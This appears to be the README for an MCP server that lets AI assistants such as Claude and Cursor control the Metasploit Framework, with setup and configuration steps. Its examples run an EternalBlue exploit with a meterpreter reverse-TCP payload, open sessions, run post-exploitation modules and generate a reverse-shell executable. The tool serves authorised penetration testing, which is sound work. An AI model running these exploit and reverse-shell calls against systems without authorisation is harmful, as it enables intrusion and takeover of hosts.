The Metasploit MCP server creates a bridge between large language models like Claude and the Metasploit Framework penetration testing platform. It enables AI assistants to access and control Metasploit functionality through a natural language interface, streamlining complex security testing workflows.
pip install -r requirements.txt
MSF_PASSWORD=yourpassword
MSF_SERVER=127.0.0.1
MSF_PORT=55553
MSF_SSL=false
PAYLOAD_SAVE_DIR=/path/to/save/payloads # Optional: Where to save generated payloads
Start the Metasploit RPC service:
msfrpcd -P yourpassword -S -a 127.0.0.1 -p 55553
The server supports two transport methods:
Select the transport mode using the --transport
flag:
# Run with HTTP/SSE transport (default)
python MetasploitMCP.py --transport http
# Run with STDIO transport
python MetasploitMCP.py --transport stdio
Additional options for HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Configure claude_desktop_config.json
:
{
"mcpServers": {
"metasploit": {
"command": "uv",
"args": [
"--directory",
"C:\\path\\to\\MetasploitMCP",
"run",
"MetasploitMCP.py",
"--transport",
"stdio"
],
"env": {
"MSF_PASSWORD": "yourpassword"
}
}
}
}
For MCP clients using HTTP/SSE:
Start the server in HTTP mode:
python MetasploitMCP.py --transport http --host 0.0.0.0 --port 8085
Connect your MCP client to the SSE endpoint: http://your-server-ip:8085/sse
list_exploits("ms17_010")
run_exploit("exploit/windows/smb/ms17_010_eternalblue", {"RHOSTS": "192.168.1.100"}, "windows/x64/meterpreter/reverse_tcp", {"LHOST": "192.168.1.10", "LPORT": 4444})
list_active_sessions()
send_session_command(1, "whoami")
run_post_module("windows/gather/enum_logged_on_users", 1)
send_session_command(1, "sysinfo")
terminate_session(1)
start_listener("windows/meterpreter/reverse_tcp", "192.168.1.10", 4444)
list_listeners()
generate_payload("windows/meterpreter/reverse_tcp", "exe", {"LHOST": "192.168.1.10", "LPORT": 4444})
stop_job(1)
By default, payloads generated with generate_payload
are saved to a payloads
directory in your home folder. You can customize this location by setting the PAYLOAD_SAVE_DIR
environment variable.
Setting the environment variable:
Windows (PowerShell):
$env:PAYLOAD_SAVE_DIR = "C:\custom\path\to\payloads"
Windows (Command Prompt):
set PAYLOAD_SAVE_DIR=C:\custom\path\to\payloads
Linux/macOS:
export PAYLOAD_SAVE_DIR=/custom/path/to/payloads
In Claude Desktop config:
"env": {
"MSF_PASSWORD": "yourpassword",
"PAYLOAD_SAVE_DIR": "C:\\your\\actual\\path\\to\\payloads"
}
⚠️ IMPORTANT SECURITY WARNING:
This tool provides direct access to Metasploit Framework capabilities, which include powerful exploitation features. Use responsibly and only in environments where you have explicit permission to perform security testing.
To add this MCP server to Claude Code, run this command in your terminal:
claude mcp add-json "metasploit" '{"command":"python","args":["MetasploitMCP.py","--transport","http"],"env":{"MSF_PASSWORD":"yourpassword","MSF_SERVER":"127.0.0.1","MSF_PORT":"55553","MSF_SSL":"false"}}'
See the official Claude Code MCP documentation for more details.
There are two ways to add an MCP server to Cursor. The most common way is to add the server globally in the ~/.cursor/mcp.json
file so that it is available in all of your projects.
If you only need the server in a single project, you can add it to the project instead by creating or adding it to the .cursor/mcp.json
file.
To add a global MCP server go to Cursor Settings > Tools & Integrations and click "New MCP Server".
When you click that button the ~/.cursor/mcp.json
file will be opened and you can add your server like this:
{
"mcpServers": {
"metasploit": {
"command": "python",
"args": [
"MetasploitMCP.py",
"--transport",
"http"
],
"env": {
"MSF_PASSWORD": "yourpassword",
"MSF_SERVER": "127.0.0.1",
"MSF_PORT": "55553",
"MSF_SSL": "false"
}
}
}
}
To add an MCP server to a project you can create a new .cursor/mcp.json
file or add it to the existing one. This will look exactly the same as the global MCP server example above.
Once the server is installed, you might need to head back to Settings > MCP and click the refresh button.
The Cursor agent will then be able to see the available tools the added MCP server has available and will call them when it needs to.
You can also explicitly ask the agent to use the tool by mentioning the tool name and describing what the function does.
To add this MCP server to Claude Desktop:
1. Find your configuration file:
~/Library/Application Support/Claude/claude_desktop_config.json
%APPDATA%\Claude\claude_desktop_config.json
~/.config/Claude/claude_desktop_config.json
2. Add this to your configuration file:
{
"mcpServers": {
"metasploit": {
"command": "python",
"args": [
"MetasploitMCP.py",
"--transport",
"http"
],
"env": {
"MSF_PASSWORD": "yourpassword",
"MSF_SERVER": "127.0.0.1",
"MSF_PORT": "55553",
"MSF_SSL": "false"
}
}
}
}
3. Restart Claude Desktop for the changes to take effect